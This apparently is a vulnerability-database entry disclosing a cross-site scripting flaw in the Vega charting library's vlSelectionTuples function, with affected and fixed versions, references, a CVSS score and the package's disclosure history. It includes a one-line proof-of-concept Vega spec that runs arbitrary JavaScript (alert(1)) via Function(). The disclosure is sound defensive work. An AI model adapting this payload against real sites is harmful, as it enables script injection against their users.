Vega allows Cross-site Scripting via the vlSelectionTuples function
Summary
The vlSelectionTuples function can be used to call JavaScript functions, leading to XSS.
Details
vlSelectionTuples calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.
Example call: vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})
This can be used to call Function() with arbitrary JavaScript and the resulting function can be called with vlSelectionTuples or using a type coercion to call toString or valueOf.
PoC
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]}Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vega | < 5.26.0 | 5.26.0 |
| npm package | vega-selections | < 5.4.2 | 5.4.2 |
References
- https://github.com/vega/vega/security/advisories/GHSA-mp7w-mhcv-673j
- https://nvd.nist.gov/vuln/detail/CVE-2025-25304
- https://github.com/vega/vega/commit/9fb9ea07e27984394e463d286eb73944fa61411e
- https://github.com/vega/vega
- https://github.com/vega/vega/blob/b45cf431cd6c0d0c0e1567f087f9b3b55bc236fa/packages/vega-selections/src/selectionTuples.js#L14
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
vega, vega-selections- Disclosed
- 14.02.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mp7w-mhcv-673j - CC BY 4.0
Vulnerability history: vega
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 12.2020 11.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 6
- Low 1
Disclosures per year
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 3
- 2024: 0
- 2025: 4
- 2026: 0
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Vega allows Cross-site Scripting via the vlSelectionTuples function this entry
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